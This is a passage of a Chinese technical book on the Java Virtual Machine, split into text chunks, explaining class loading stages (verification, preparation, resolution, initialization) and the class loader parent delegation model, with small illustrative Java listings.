Type，指的是数组去掉一个维度的类型，注意和前面的元素类型区分开来）是引用类型，那就递归采用本节中定义的加载过程去加载这个组件类型，数组C将被标识在加载该组件类型的类加载器的类名称空间上（这点很重要，在7.4节会介绍，一个类型必须与类加载器一起确定唯一性）。 ·如果数组的组件类型不是引用类型（例如int[]数组的组件类型为int），Java虚拟机将会把数组C标记为与引导类加载器关联。 ·数组类的可访问性与它的组件类型的可访问性一致，如果组件类型不是引用类型，它的数组类的可访问性将默认为public，可被所有的类和接口访问到。 加载阶段结束后，Java虚拟机外部的二进制字节流就按照虚拟机所设定的格式存储在方法区之中了，方法区中的数据存储格式完全由虚拟机实现自行定义，《Java虚拟机规范》未规定此区域的具体数据结构。类型数据妥善安置在方法区之后，会在Java堆内存中实例化一个java.lang.Class类的对象，这个对象将作为程序访问方法区中的类型数据的外部接口。 加载阶段与连接阶段的部分动作（如一部分字节码文件格式验证动作）是交叉进行的，加载阶段尚未完成，连接阶段可能已经开始，但这些夹在加载阶段之中进行的动作，仍然属于连接阶段的一部分，这两个阶段的开始时间仍然保持着固定的先后顺序。"},
    {"text": "7.3.2 验证 验证是连接阶段的第一步，这一阶段的目的是确保Class文件的字节流中包含的信息符合《Java虚拟机规范》的全部约束要求，保证这些信息被当作代码运行后不会危害虚拟机自身的安全。"},
    {"text": "Java语言本身是相对安全的编程语言（起码对于C/C++来说是相对安全的），使用纯粹的Java代码无法做到诸如访问数组边界以外的数据、将一个对象转型为它并未实现的类型、跳转到不存在的代码行之类的事情，如果尝试这样去做了，编译器会毫不留情地抛出异常、拒绝编译。"},
    {"text": "但前面也曾说过，Class文件并不一定只能由Java源码编译而来，它可以使用包括靠键盘0和1直接在二进制编辑器中敲出Class文件在内的任何途径产生。"},
    {"text": "Java虚拟机如果不检查输入的字节流，对其完全信任的话，很可能会因为载入了有错误或有恶意企图的字节码流而导致整个系统受攻击甚至崩溃，所以验证字节码是Java虚拟机保护自身的一项必要措施。 验证阶段是非常重要的，这个阶段是否严谨，直接决定了Java虚拟机是否能承受恶意代码的攻击，从代码量和耗费的执行性能的角度上讲，验证阶段的工作量在虚拟机的类加载过程中占了相当大的比重。 但是《Java虚拟机规范》的早期版本（第1、2版）对这个阶段的检验指导是相当模糊和笼统的，规范中仅列举了一些对Class文件格式的静态和结构化的约束，要求虚拟机验证到输入的字节流如不符合Class文件格式的约束，就应当抛出一个java.lang.VerifyError异常或其子类异常，但具体应当检查哪些内容、如何检查、何时进行检查等，都没有足够具体的要求和明确的说明。 直到2011年《Java虚拟机规范（Java SE 7版）》出版，规范中大幅增加了验证过程的描述（篇幅从不到10页增加到130页），这时验证阶段的约束和验证规则才变得具体起来。 受篇幅所限，本书中无法逐条规则去讲解，但从整体上看，验证阶段大致上会完成下面四个阶段的检验动作：文件格式验证、元数据验证、字节码验证和符号引用验证。 1.文件格式验证 第一阶段要验证字节流是否符合Class文件格式的规范，并且能被当前版本的虚拟机处理。"},
    {"text": "·常量池的常量中是否有不被支持的常量类型（检查常量tag标志）。 ·指向常量的各种索引值中是否有指向不存在的常量或不符合类型的常量。 ·CONSTANT_Utf8_info型的常量中是否有不符合UTF-8编码的数据。"},
    {"text": "·…… 实际上第一阶段的验证点还远不止这些，上面所列的只是从HotSpot虚拟机源码 [1] 中摘抄的一小部分内容，该验证阶段的主要目的是保证输入的字节流能正确地解析并存储于方法区之内，格式上符合描述一个Java类型信息的要求。 这阶段的验证是基于二进制字节流进行的，只有通过了这个阶段的验证之后，这段字节流才被允许进入Java虚拟机内存的方法区中进行存储，所以后面的三个验证阶段全部是基于方法区的存储结构上进行的，不会再直接读取、操作字节流了。 2.元数据验证 第二阶段是对字节码描述的信息进行语义分析，以保证其描述的信息符合《Java语言规范》的要求，这个阶段可能包括的验证点如下： ·这个类是否有父类（除了java.lang.Object之外，所有的类都应当有父类）。"},
    {"text": "·类中的字段、方法是否与父类产生矛盾（例如覆盖了父类的final字段，或者出现不符合规则的方法重载，例如方法参数都一致，但返回值类型却不同等）。"},
    {"text": "3.字节码验证 第三阶段是整个验证过程中最复杂的一个阶段，主要目的是通过数据流分析和控制流分析，确定程序语义是合法的、符合逻辑的。"},
    {"text": "在第二阶段对元数据信息中的数据类型校验完毕以后，这阶段就要对类的方法体（Class文件中的Code属性）进行校验分析，保证被校验类的方法在运行时不会做出危害虚拟机安全的行为，例如： ·保证任意时刻操作数栈的数据类型与指令代码序列都能配合工作，例如不会出现类似于“在操作栈放置了一个int类型的数据，使用时却按long类型来加载入本地变量表中”这样的情况。"},
    {"text": "·保证方法体中的类型转换总是有效的，例如可以把一个子类对象赋值给父类数据类型，这是安全的，但是把父类对象赋值给子类数据类型，甚至把对象赋值给与它毫无继承关系、完全不相干的一个数据类型，则是危险和不合法的。"},
    {"text": "但如果一个方法体通过了字节码验证，也仍然不能保证它一定就是安全的。 即使字节码验证阶段中进行了再大量、再严密的检查，也依然不能保证这一点。"},
    {"text": "这里涉及了离散数学中一个很著名的问题——“停机问题”（Halting Problem） [2] ，即不能通过程序准确地检查出程序是否能在有限的时间之内结束运行。"},
    {"text": "在我们讨论字节码校验的上下文语境里，通俗一点的解释是通过程序去校验程序逻辑是无法做到绝对准确的，不可能用程序来准确判定一段程序是否存在Bug。"},
    {"text": "由于数据流分析和控制流分析的高度复杂性，Java虚拟机的设计团队为了避免过多的执行时间消耗在字节码验证阶段中，在JDK 6之后的Javac编译器和Java虚拟机里进行了一项联合优化，把尽可能多的校验辅助措施挪到Javac编译器里进行。"},
    {"text": "具体做法是给方法体Code属性的属性表中新增加了一项名为“StackMapTable”的新属性，这项属性描述了方法体所有的基本块（Basic Block，指按照控制流拆分的代码块）开始时本地变量表和操作栈应有的状态，在字节码验证期间，Java虚拟机就不需要根据程序推导这些状态的合法性，只需要检查StackMapTable属性中的记录是否合法即可。"},
    {"text": "理论上StackMapTable属性也存在错误或被篡改的可能，所以是否有可能在恶意篡改了Code属性的同时，也生成相应的StackMapTable属性来骗过虚拟机的类型校验，则是虚拟机设计者们需要仔细思考的问题。"},
    {"text": "JDK 6的HotSpot虚拟机中提供了-XX：-UseSplitVerifier选项来关闭掉这项优化，或者使用参数-XX：+FailOverToOldVerifier要求在类型校验失败的时候退回到旧的类型推导方式进行校验。 而到了JDK 7之后，尽管虚拟机中仍然保留着类型推导验证器的代码，但是对于主版本号大于50（对应JDK 6）的Class文件，使用类型检查来完成数据流分析校验则是唯一的选择，不允许再退回到原来的类型推导的校验方式。"},
    {"text": "4.符号引用验证 最后一个阶段的校验行为发生在虚拟机将符号引用转化为直接引用 [3] 的时候，这个转化动作将在连接的第三阶段——解析阶段中发生。"},
    {"text": "符号引用验证可以看作是对类自身以外（常量池中的各种符号引用）的各类信息进行匹配性校验，通俗来说就是，该类是否缺少或者被禁止访问它依赖的某些外部类、方法、字段等资源。 本阶段通常需要校验下列内容： ·符号引用中通过字符串描述的全限定名是否能找到对应的类。"},
    {"text": "·…… 符号引用验证的主要目的是确保解析行为能正常执行，如果无法通过符号引用验证，Java虚拟机将会抛出一个java.lang.IncompatibleClassChangeError的子类异常，典型的如：java.lang.IllegalAccessError、java.lang.NoSuchFieldError、java.lang.NoSuchMethodError等。"},
    {"text": "验证阶段对于虚拟机的类加载机制来说，是一个非常重要的、但却不是必须要执行的阶段，因为验证阶段只有通过或者不通过的差别，只要通过了验证，其后就对程序运行期没有任何影响了。 如果程序运行的全部代码（包括自己编写的、第三方包中的、从外部加载的、动态生成的等所有代码）都已经被反复使用和验证过，在生产环境的实施阶段就可以考虑使用-Xverify：none参数来关闭大部分的类验证措施，以缩短虚拟机类加载的时间。"},
    {"text": "[2] 停机问题就是判断任意一个程序是否会在有限的时间之内结束运行的问题。 如果这个问题可以在有限的时间之内解决，可以有一个程序判断其本身是否会停机并做出相反的行为。"},
    {"text": "7.3.3 准备 准备阶段是正式为类中定义的变量（即静态变量，被static修饰的变量）分配内存并设置类变量初始值的阶段，从概念上讲，这些变量所使用的内存都应当在方法区中进行分配，但必须注意到方法区本身是一个逻辑上的区域，在JDK 7及之前，HotSpot使用永久代来实现方法区时，实现是完全符合这种逻辑概念的；而在JDK 8及之后，类变量则会随着Class对象一起存放在Java堆中，这时候“类变量在方法区”就完全是一种对逻辑概念的表述了，关于这部分内容，笔者已在4.3.1节介绍并且验证过。 关于准备阶段，还有两个容易产生混淆的概念笔者需要着重强调，首先是这时候进行内存分配的仅包括类变量，而不包括实例变量，实例变量将会在对象实例化时随着对象一起分配在Java堆中。其次是这里所说的初始值“通常情况”下是数据类型的零值，假设一个类变量的定义为： public static int value = 123; 那变量value在准备阶段过后的初始值为0而不是123，因为这时尚未开始执行任何Java方法，而把value赋值为123的putstatic指令是程序被编译后，存放于类构造器<clinit>()方法之中，所以把value赋值为123的动作要到类的初始化阶段才会被执行。表7-1列出了Java中所有基本数据类型的零值。 表7-1 基本数据类型的零值 上面提到在“通常情况”下初始值是零值，那言外之意是相对的会有某些“特殊情况”：如果类字段的字段属性表中存在ConstantValue属性，那在准备阶段变量值就会被初始化为ConstantValue属性所指定的初始值，假设上面类变量value的定义修改为： public static final int value = 123; 编译时Javac将会为value生成ConstantValue属性，在准备阶段虚拟机就会根据Con-stantValue的设置将value赋值为123。"},
    {"text": "7.3.4 解析 解析阶段是Java虚拟机将常量池内的符号引用替换为直接引用的过程，符号引用在第6章讲解Class文件格式的时候已经出现过多次，在Class文件中它以CONSTANT_Class_info、CONSTANT_Fieldref_info、CONSTANT_Methodref_info等类型的常量出现，那解析阶段中所说的直接引用与符号引用又有什么关联呢？"},
    {"text": "·符号引用（Symbolic References）：符号引用以一组符号来描述所引用的目标，符号可以是任何形式的字面量，只要使用时能无歧义地定位到目标即可。"},
    {"text": "各种虚拟机实现的内存布局可以各不相同，但是它们能接受的符号引用必须都是一致的，因为符号引用的字面量形式明确定义在《Java虚拟机规范》的Class文件格式中。"},
    {"text": "《Java虚拟机规范》之中并未规定解析阶段发生的具体时间，只要求了在执行ane-warray、checkcast、getfield、getstatic、instanceof、invokedynamic、invokeinterface、invoke-special、invokestatic、invokevirtual、ldc、ldc_w、ldc2_w、multianewarray、new、putfield和putstatic这17个用于操作符号引用的字节码指令之前，先对它们所使用的符号引用进行解析。"},
    {"text": "所以虚拟机实现可以根据需要来自行判断，到底是在类被加载器加载时就对常量池中的符号引用进行解析，还是等到一个符号引用将要被使用前才去解析它。"},
    {"text": "类似地，对方法或者字段的访问，也会在解析阶段中对它们的可访问性（public、protected、private、<package>）进行检查，至于其中的约束规则已经是Java语言的基本常识，笔者就不再赘述了。"},
    {"text": "对同一个符号引用进行多次解析请求是很常见的事情，除invokedynamic指令以外，虚拟机实现可以对第一次解析的结果进行缓存，譬如在运行时直接引用常量池中的记录，并把常量标识为已解析状态，从而避免解析动作重复进行。 无论是否真正执行了多次解析动作，Java虚拟机都需要保证的是在同一个实体中，如果一个符号引用之前已经被成功解析过，那么后续的引用解析请求就应当一直能够成功； 同样地，如果第一次解析失败了，其他指令对这个符号的解析请求也应该收到相同的异常，哪怕这个请求的符号在后来已成功加载进Java虚拟机内存之中。"},
    {"text": "因为invokedynamic指令的目的本来就是用于动态语言支持 [1] ，它对应的引用称为“动态调用点限定符（Dynamically-Computed Call Site Specifier）”，这里“动态”的含义是指必须等到程序实际运行到这条指令时，解析动作才能进行。"},
    {"text": "解析动作主要针对类或接口、字段、类方法、接口方法、方法类型、方法句柄和调用点限定符这7类符号引用进行，分别对应于常量池的CONSTANT_Class_info、CON-STANT_Fieldref_info、CONSTANT_Methodref_info、CONSTANT_InterfaceMethodref_info、CONSTANT_MethodType_info、CONSTANT_MethodHandle_info、CONSTANT_Dyna-mic_info和CONSTANT_InvokeDynamic_info 8种常量类型 [2] 。 下面笔者将讲解前4种引用的解析过程，对于后4种，它们都和动态语言支持密切相关，由于Java语言本身是一门静态类型语言，在没有讲解清楚invokedynamic指令的语意之前，我们很难将它们直观地和现在的Java语言语法对应上，因此笔者将延后到第8章介绍动态语言调用时一起分析讲解。 1.类或接口的解析 假设当前代码所处的类为D，如果要把一个从未解析过的符号引用N解析为一个类或接口C的直接引用，那虚拟机完成整个解析的过程需要包括以下3个步骤： 1）如果C不是一个数组类型，那虚拟机将会把代表N的全限定名传递给D的类加载器去加载这个类C。"},
    {"text": "2）如果C是一个数组类型，并且数组的元素类型为对象，也就是N的描述符会是类似“[Ljava/lang/Integer”的形式，那将会按照第一点的规则加载数组元素类型。 如果N的描述符如前面所假设的形式，需要加载的元素类型就是“java.lang.Integer”，接着由虚拟机生成一个代表该数组维度和元素的数组对象。"},
    {"text": "3）如果上面两步没有出现任何异常，那么C在虚拟机中实际上已经成为一个有效的类或接口了，但在解析完成前还要进行符号引用验证，确认D是否具备对C的访问权限。"},
    {"text": "针对上面第3点访问权限验证，在JDK 9引入了模块化以后，一个public类型也不再意味着程序任何位置都有它的访问权限，我们还必须检查模块间的访问权限。 如果我们说一个D拥有C的访问权限，那就意味着以下3条规则中至少有其中一条成立： ·被访问类C是public的，并且与访问类D处于同一个模块。 ·被访问类C是public的，不与访问类D处于同一个模块，但是被访问类C的模块允许被访问类D的模块进行访问。 ·被访问类C不是public的，但是它与访问类D处于同一个包中。"},
    {"text": "2.字段解析 要解析一个未被解析过的字段符号引用，首先将会对字段表内class_index [3] 项中索引的CONSTANT_Class_info符号引用进行解析，也就是字段所属的类或接口的符号引用。"},
    {"text": "如果解析成功完成，那把这个字段所属的类或接口用C表示，《Java虚拟机规范》要求按照如下步骤对C进行后续字段的搜索： 1）如果C本身就包含了简单名称和字段描述符都与目标相匹配的字段，则返回这个字段的直接引用，查找结束。 2）否则，如果在C中实现了接口，将会按照继承关系从下往上递归搜索各个接口和它的父接口，如果接口中包含了简单名称和字段描述符都与目标相匹配的字段，则返回这个字段的直接引用，查找结束。 3）否则，如果C不是java.lang.Object的话，将会按照继承关系从下往上递归搜索其父类，如果在父类中包含了简单名称和字段描述符都与目标相匹配的字段，则返回这个字段的直接引用，查找结束。"},
    {"text": "4）否则，查找失败，抛出java.lang.NoSuchFieldError异常。 如果查找过程成功返回了引用，将会对这个字段进行权限验证，如果发现不具备对字段的访问权限，将抛出java.lang.IllegalAccessError异常。"},
    {"text": "以上解析规则能够确保Java虚拟机获得字段唯一的解析结果，但在实际情况中，Javac编译器往往会采取比上述规范更加严格一些的约束，譬如有一个同名字段同时出现在某个类的接口和父类当中，或者同时在自己或父类的多个接口中出现，按照解析规则仍是可以确定唯一的访问字段，但Javac编译器就可能直接拒绝其编译为Class文件。"},
    {"text": "代码清单7-4 字段解析 package org.fenixsoft.classloading; public class FieldResolution { interface Interface0 { int A = 0; } interface Interface1 extends Interface0 { int A = 1; } interface Interface2 { int A = 2; } static class Parent implements Interface1 { public static int A = 3; } static class Sub extends Parent implements Interface2 { public static int A = 4; } public static void main(String[] args) { System.out.println(Sub.A); } } 3.方法解析 方法解析的第一个步骤与字段解析一样，也是需要先解析出方法表的class_index [4] 项中索引的方法所属的类或接口的符号引用，如果解析成功，那么我们依然用C表示这个类，接下来虚拟机将会按照如下步骤进行后续的方法搜索： 1）由于Class文件格式中类的方法和接口的方法符号引用的常量类型定义是分开的，如果在类的方法表中发现class_index中索引的C是个接口的话，那就直接抛出java.lang.IncompatibleClassChangeError异常。"},
    {"text": "2）如果通过了第一步，在类C中查找是否有简单名称和描述符都与目标相匹配的方法，如果有则返回这个方法的直接引用，查找结束。 3）否则，在类C的父类中递归查找是否有简单名称和描述符都与目标相匹配的方法，如果有则返回这个方法的直接引用，查找结束。 4）否则，在类C实现的接口列表及它们的父接口之中递归查找是否有简单名称和描述符都与目标相匹配的方法，如果存在匹配的方法，说明类C是一个抽象类，这时候查找结束，抛出java.lang.AbstractMethodError异常。 5）否则，宣告方法查找失败，抛出java.lang.NoSuchMethodError。 最后，如果查找过程成功返回了直接引用，将会对这个方法进行权限验证，如果发现不具备对此方法的访问权限，将抛出java.lang.IllegalAccessError异常。 4.接口方法解析 接口方法也是需要先解析出接口方法表的class_index [5] 项中索引的方法所属的类或接口的符号引用，如果解析成功，依然用C表示这个接口，接下来虚拟机将会按照如下步骤进行后续的接口方法搜索： 1）与类的方法解析相反，如果在接口方法表中发现class_index中的索引C是个类而不是接口，那么就直接抛出java.lang.IncompatibleClassChangeError异常。 2）否则，在接口C中查找是否有简单名称和描述符都与目标相匹配的方法，如果有则返回这个方法的直接引用，查找结束。 3）否则，在接口C的父接口中递归查找，直到java.lang.Object类（接口方法的查找范围也会包括Object类中的方法）为止，看是否有简单名称和描述符都与目标相匹配的方法，如果有则返回这个方法的直接引用，查找结束。 4）对于规则3，由于Java的接口允许多重继承，如果C的不同父接口中存有多个简单名称和描述符都与目标相匹配的方法，那将会从这多个方法中返回其中一个并结束查找，《Java虚拟机规范》中并没有进一步规则约束应该返回哪一个接口方法。"},
    {"text": "5）否则，宣告方法查找失败，抛出java.lang.NoSuchMethodError异常。 在JDK 9之前，Java接口中的所有方法都默认是public的，也没有模块化的访问约束，所以不存在访问权限的问题，接口方法的符号解析就不可能抛出java.lang.IllegalAccessError异常。 但在JDK 9中增加了接口的静态私有方法，也有了模块化的访问约束，所以从JDK 9起，接口方法的访问也完全有可能因访问权限控制而出现java.lang.IllegalAccessError异常。"},
    {"text": "[1] invokedynamic指令是在JDK 7时加入到字节码中的，当时确实只为了做动态语言（如JRuby、Scala）支持，Java语言本身并不会用到它。 而到了JDK 8时代，Java有了Lambda表达式和接口的默认方法，它们在底层调用时就会用到invokedynamic指令，这时再提动态语言支持其实已不完全切合，我们就只把它当个代称吧。"},
    {"text": "[3] 参见第6章中关于CONSTANT_Fieldref_info常量的相关内容。 [4] 参见第6章关于CONSTANT_Methodref_info常量的相关内容。 [5] 参见第6章中关于CONSTANT_InterfaceMethodref_info常量的相关内容。"},
    {"text": "7.3.5 初始化 类的初始化阶段是类加载过程的最后一个步骤，之前介绍的几个类加载的动作里，除了在加载阶段用户应用程序可以通过自定义类加载器的方式局部参与外，其余动作都完全由Java虚拟机来主导控制。直到初始化阶段，Java虚拟机才真正开始执行类中编写的Java程序代码，将主导权移交给应用程序。 进行准备阶段时，变量已经赋过一次系统要求的初始零值，而在初始化阶段，则会根据程序员通过程序编码制定的主观计划去初始化类变量和其他资源。我们也可以从另外一种更直接的形式来表达：初始化阶段就是执行类构造器<clinit>()方法的过程。<clinit>()并不是程序员在Java代码中直接编写的方法，它是Javac编译器的自动生成物，但我们非常有必要了解这个方法具体是如何产生的，以及<clinit>()方法执行过程中各种可能会影响程序运行行为的细节，这部分比起其他类加载过程更贴近于普通的程序开发人员的实际工作 [1] 。 ·<clinit>()方法是由编译器自动收集类中的所有类变量的赋值动作和静态语句块（static{}块）中的语句合并产生的，编译器收集的顺序是由语句在源文件中出现的顺序决定的，静态语句块中只能访问到定义在静态语句块之前的变量，定义在它之后的变量，在前面的静态语句块可以赋值，但是不能访问，如代码清单7-5所示。 代码清单7-5 非法前向引用变量 public class Test { static { i = 0; // 给变量复制可以正常编译通过 System.out.print(i); // 这句编译器会提示“非法向前引用” } static int i = 1; } ·<clinit>()方法与类的构造函数（即在虚拟机视角中的实例构造器<init>()方法）不同，它不需要显式地调用父类构造器，Java虚拟机会保证在子类的<clinit>()方法执行前，父类的<clinit>()方法已经执行完毕。因此在Java虚拟机中第一个被执行的<clinit>()方法的类型肯定是java.lang.Object。 ·由于父类的<clinit>()方法先执行，也就意味着父类中定义的静态语句块要优先于子类的变量赋值操作，如代码清单7-6中，字段B的值将会是2而不是1。 代码清单7-6 <clinit>()方法执行顺序 static class Parent { public static int A = 1; static { A = 2; } } static class Sub extends Parent { public static int B = A; } public static void main(String[] args) { System.out.println(Sub.B); } ·<clinit>()方法对于类或接口来说并不是必需的，如果一个类中没有静态语句块，也没有对变量的赋值操作，那么编译器可以不为这个类生成<clinit>()方法。 ·接口中不能使用静态语句块，但仍然有变量初始化的赋值操作，因此接口与类一样都会生成<clinit>()方法。但接口与类不同的是，执行接口的<clinit>()方法不需要先执行父接口的<clinit>()方法，因为只有当父接口中定义的变量被使用时，父接口才会被初始化。此外，接口的实现类在初始化时也一样不会执行接口的<clinit>()方法。 ·Java虚拟机必须保证一个类的<clinit>()方法在多线程环境中被正确地加锁同步，如果多个线程同时去初始化一个类，那么只会有其中一个线程去执行这个类的<clinit>()方法，其他线程都需要阻塞等待，直到活动线程执行完毕<clinit>()方法。如果在一个类的<clinit>()方法中有耗时很长的操作，那就可能造成多个进程阻塞 [2] ，在实际应用中这种阻塞往往是很隐蔽的。代码清单7-7演示了这种场景。 代码清单7-7 字段解析 static class DeadLoopClass { static { // 如果不加上这个if语句，编译器将提示“Initializer does not complete normally” 并拒绝编译 if (true) { System.out.println(Thread.currentThread() + \"init DeadLoopClass\"); while (true) { } } } } public static void main(String[] args) { Runnable script = new Runnable() { public void run() { System.out.println(Thread.currentThread() + \"start\"); DeadLoopClass dlc = new DeadLoopClass(); System.out.println(Thread.currentThread() + \" run over\"); } }; Thread thread1 = new Thread(script); Thread thread2 = new Thread(script); thread1.start(); thread2.start(); } 运行结果如下，一条线程在死循环以模拟长时间操作，另外一条线程在阻塞等待： Thread[Thread-0,5,main]start Thread[Thread-1,5,main]start Thread[Thread-0,5,main]init DeadLoopClass [1] 这里的讨论只限于Java语言编译产生的Class文件，不包括其他Java虚拟机语言。 [2] 需要注意，其他线程虽然会被阻塞，但如果执行＜clinit＞()方法的那条线程退出＜clinit＞()方法后，其他线程唤醒后则不会再次进入＜clinit＞()方法。同一个类加载器下，一个类型只会被初始化一次。"},
    {"text": "7.4 类加载器 Java虚拟机设计团队有意把类加载阶段中的“通过一个类的全限定名来获取描述该类的二进制字节流”这个动作放到Java虚拟机外部去实现，以便让应用程序自己决定如何去获取所需的类。实现这个动作的代码被称为“类加载器”（Class Loader）。 类加载器可以说是Java语言的一项创新，它是早期Java语言能够快速流行的重要原因之一。类加载器最初是为了满足Java Applet的需求而设计出来的，在今天用在浏览器上的Java Applet技术基本上已经被淘汰 [1] ，但类加载器却在类层次划分、OSGi、程序热部署、代码加密等领域大放异彩，成为Java技术体系中一块重要的基石，可谓是失之桑榆，收之东隅。 [1] 特指浏览器上的Java Applets，在其他领域，如智能卡上，Java Applets仍然有很广阔的市场。 7.4.1 类与类加载器 类加载器虽然只用于实现类的加载动作，但它在Java程序中起到的作用却远超类加载阶段。对于任意一个类，都必须由加载它的类加载器和这个类本身一起共同确立其在Java虚拟机中的唯一性，每一个类加载器，都拥有一个独立的类名称空间。这句话可以表达得更通俗一些：比较两个类是否“相等”，只有在这两个类是由同一个类加载器加载的前提下才有意义，否则，即使这两个类来源于同一个Class文件，被同一个Java虚拟机加载，只要加载它们的类加载器不同，那这两个类就必定不相等。 这里所指的“相等”，包括代表类的Class对象的equals()方法、isAssignableFrom()方法、isInstance()方法的返回结果，也包括了使用instanceof关键字做对象所属关系判定等各种情况。如果没有注意到类加载器的影响，在某些情况下可能会产生具有迷惑性的结果，代码清单7-8中演示了不同的类加载器对instanceof关键字运算的结果的影响。 代码清单7-8 不同的类加载器对instanceof关键字运算的结果的影响 /** * 类加载器与instanceof关键字演示 * * @author zzm */ public class ClassLoaderTest { public static void main(String[] args) throws Exception { ClassLoader myLoader = new ClassLoader() { @Override public Class<?> loadClass(String name) throws ClassNotFoundException { try { String fileName = name.substring(name.lastIndexOf(\".\") + 1)+\".class\"; InputStream is = getClass().getResourceAsStream(fileName); if (is == null) { return super.loadClass(name); } byte[] b = new byte[is.available()]; is.read(b); return defineClass(name, b, 0, b.length); } catch (IOException e) { throw new ClassNotFoundException(name); } } }; Object obj = myLoader.loadClass(\"org.fenixsoft.classloading.ClassLoaderTest\").newInstance(); System.out.println(obj.getClass()); System.out.println(obj instanceof org.fenixsoft.classloading.ClassLoaderTest); } } 运行结果： class org.fenixsoft.classloading.ClassLoaderTest false 代码清单7-8中构造了一个简单的类加载器，尽管它极为简陋，但是对于这个演示来说已经足够。它可以加载与自己在同一路径下的Class文件，我们使用这个类加载器去加载了一个名为“org.fenixsoft.classloading.ClassLoaderTest”的类，并实例化了这个类的对象。 两行输出结果中，从第一行可以看到这个对象确实是类org.fenixsoft.classloading.ClassLoaderTest实例化出来的，但在第二行的输出中却发现这个对象与类org.fenixsoft.classloading.ClassLoaderTest做所属类型检查的时候返回了false。这是因为Java虚拟机中同时存在了两个ClassLoaderTest类，一个是由虚拟机的应用程序类加载器所加载的，另外一个是由我们自定义的类加载器加载的，虽然它们都来自同一个Class文件，但在Java虚拟机中仍然是两个互相独立的类，做对象所属类型检查时的结果自然为false。"},
    {"text": "7.4.2 双亲委派模型 站在Java虚拟机的角度来看，只存在两种不同的类加载器：一种是启动类加载器（Bootstrap ClassLoader），这个类加载器使用C++语言实现 [1] ，是虚拟机自身的一部分； 另外一种就是其他所有的类加载器，这些类加载器都由Java语言实现，独立存在于虚拟机外部，并且全都继承自抽象类java.lang.ClassLoader。"},
    {"text": "自JDK 1.2以来，Java一直保持着三层类加载器、双亲委派的类加载架构，尽管这套架构在Java模块化系统出现后有了一些调整变动，但依然未改变其主体结构，我们将在7.5节中专门讨论模块化系统下的类加载器。 本节内容将针对JDK 8及之前版本的Java来介绍什么是三层类加载器，以及什么是双亲委派模型。 对于这个时期的Java应用，绝大多数Java程序都会使用到以下3个系统提供的类加载器来进行加载。"},
    {"text": "·启动类加载器（Bootstrap Class Loader）：前面已经介绍过，这个类加载器负责加载存放在<JAVA_HOME>\\lib目录，或者被-Xbootclasspath参数所指定的路径中存放的，而且是Java虚拟机能够识别的（按照文件名识别，如rt.jar、tools.jar，名字不符合的类库即使放在lib目录中也不会被加载）类库加载到虚拟机的内存中。 启动类加载器无法被Java程序直接引用，用户在编写自定义类加载器时，如果需要把加载请求委派给引导类加载器去处理，那直接使用null代替即可，代码清单7-9展示的就是java.lang.ClassLoader.getClassLoader()方法的代码片段，其中的注释和代码实现都明确地说明了以null值来代表引导类加载器的约定规则。 代码清单7-9 ClassLoader.getClassLoader()方法的代码片段 /** Returns the class loader for the class. Some implementations may use null to represent the bootstrap class loader. This method will return null in such implementations if this class was loaded by the bootstrap class loader. */ public ClassLoader getClassLoader() { ClassLoader cl = getClassLoader0(); if (cl == null) return null; SecurityManager sm = System.getSecurityManager(); if (sm != null) { ClassLoader ccl = ClassLoader.getCallerClassLoader(); if (ccl != null && ccl != cl && !cl.isAncestor(ccl)) { sm.checkPermission(SecurityConstants.GET_CLASSLOADER_PERMISSION); } } return cl; } ·扩展类加载器（Extension Class Loader）：这个类加载器是在类sun.misc.Launcher$ExtClassLoader中以Java代码的形式实现的。"},
    {"text": "它负责加载<JAVA_HOME>\\lib\\ext目录中，或者被java.ext.dirs系统变量所指定的路径中所有的类库。 根据“扩展类加载器”这个名称，就可以推断出这是一种Java系统类库的扩展机制，JDK的开发团队允许用户将具有通用性的类库放置在ext目录里以扩展Java SE的功能，在JDK 9之后，这种扩展机制被模块化带来的天然的扩展能力所取代。 由于扩展类加载器是由Java代码实现的，开发者可以直接在程序中使用扩展类加载器来加载Class文件。 ·应用程序类加载器（Application Class Loader）：这个类加载器由sun.misc.Launcher$AppClassLoader来实现。 由于应用程序类加载器是ClassLoader类中的getSystem-ClassLoader()方法的返回值，所以有些场合中也称它为“系统类加载器”。 它负责加载用户类路径（ClassPath）上所有的类库，开发者同样可以直接在代码中使用这个类加载器。 如果应用程序中没有自定义过自己的类加载器，一般情况下这个就是程序中默认的类加载器。 图7-2 类加载器双亲委派模型 JDK 9之前的Java应用都是由这三种类加载器互相配合来完成加载的，如果用户认为有必要，还可以加入自定义的类加载器来进行拓展，典型的如增加除了磁盘位置之外的Class文件来源，或者通过类加载器实现类的隔离、重载等功能。"},
    {"text": "图7-2中展示的各种类加载器之间的层次关系被称为类加载器的“双亲委派模型（Parents Delegation Model）”。 双亲委派模型要求除了顶层的启动类加载器外，其余的类加载器都应有自己的父类加载器。 不过这里类加载器之间的父子关系一般不是以继承（Inheritance）的关系来实现的，而是通常使用组合（Composition）关系来复用父加载器的代码。"},
    {"text": "类加载器的双亲委派模型在JDK 1.2时期被引入，并被广泛应用于此后几乎所有的Java程序中，但它并不是一个具有强制性约束力的模型，而是Java设计者们推荐给开发者的一种类加载器实现的最佳实践。 双亲委派模型的工作过程是：如果一个类加载器收到了类加载的请求，它首先不会自己去尝试加载这个类，而是把这个请求委派给父类加载器去完成，每一个层次的类加载器都是如此，因此所有的加载请求最终都应该传送到最顶层的启动类加载器中，只有当父加载器反馈自己无法完成这个加载请求（它的搜索范围中没有找到所需的类）时，子加载器才会尝试自己去完成加载。 使用双亲委派模型来组织类加载器之间的关系，一个显而易见的好处就是Java中的类随着它的类加载器一起具备了一种带有优先级的层次关系。"},
    {"text": "例如类java.lang.Object，它存放在rt.jar之中，无论哪一个类加载器要加载这个类，最终都是委派给处于模型最顶端的启动类加载器进行加载，因此Object类在程序的各种类加载器环境中都能够保证是同一个类。 反之，如果没有使用双亲委派模型，都由各个类加载器自行去加载的话，如果用户自己也编写了一个名为java.lang.Object的类，并放在程序的ClassPath中，那系统中就会出现多个不同的Object类，Java类型体系中最基础的行为也就无从保证，应用程序将会变得一片混乱。"},
